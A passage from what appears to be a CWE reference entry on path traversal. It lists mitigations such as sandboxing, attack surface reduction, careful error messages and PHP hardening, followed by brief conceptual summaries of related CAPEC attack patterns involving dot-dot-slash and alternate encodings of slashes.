- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.